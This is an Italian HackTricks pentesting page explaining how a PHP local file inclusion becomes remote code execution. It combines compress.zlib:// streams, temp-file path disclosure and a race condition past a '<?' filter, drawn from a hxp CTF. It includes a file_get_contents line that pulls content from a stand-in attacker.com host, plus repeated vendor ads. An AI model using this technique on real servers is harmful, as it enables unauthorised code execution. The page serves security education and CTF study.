hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

5.6 KiB

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

{% hint style="success" %} Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}

WhiteIntel

WhiteIntel è un motore di ricerca alimentato dal dark-web che offre funzionalità gratuite per controllare se un'azienda o i suoi clienti sono stati compromessi da malware rubatori.

Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi controllare il loro sito web e provare il loro motore gratuitamente su:

{% embed url="https://whiteintel.io" %}


compress.zlib:// e PHP_STREAM_PREFER_STDIO

Un file aperto utilizzando il protocollo compress.zlib:// con il flag PHP_STREAM_PREFER_STDIO può continuare a scrivere dati che arrivano alla connessione successivamente nello stesso file.

Questo significa che una chiamata come:

file_get_contents("compress.zlib://http://attacker.com/file")

Invierà una richiesta chiedendo http://attacker.com/file, quindi il server potrebbe rispondere alla richiesta con una risposta HTTP valida, mantenere la connessione aperta e inviare dati extra qualche tempo dopo che verranno anch'essi scritti nel file.

Puoi vedere queste informazioni in questa parte del codice php-src in main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Condizione di Gara per RCE

Questo CTF è stato risolto utilizzando il trucco precedente.

L'attaccante farà in modo che il server vittima apra una connessione leggendo un file dal server dell'attaccante utilizzando il protocollo compress.zlib.

Mentre questa connessione esiste, l'attaccante esfiltrerà il percorso del file temporaneo creato (è rivelato dal server).

Mentre la connessione è ancora aperta, l'attaccante sfrutterà un LFI caricando il file temporaneo che controlla.

Tuttavia, c'è un controllo nel server web che impedisce il caricamento di file che contengono <?. Pertanto, l'attaccante sfrutterà una Condizione di Gara. Nella connessione che è ancora aperta, l'attaccante invierà il payload PHP DOPO che il server web ha controllato se il file contiene i caratteri vietati ma PRIMA che carichi il suo contenuto.

Per ulteriori informazioni, controlla la descrizione della Condizione di Gara e il CTF in https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

WhiteIntel

WhiteIntel è un motore di ricerca alimentato dal dark-web che offre funzionalità gratuite per controllare se un'azienda o i suoi clienti sono stati compromessi da malware rubatori.

Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi controllare il loro sito web e provare il loro motore gratuitamente su:

{% embed url="https://whiteintel.io" %}

{% hint style="success" %} Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}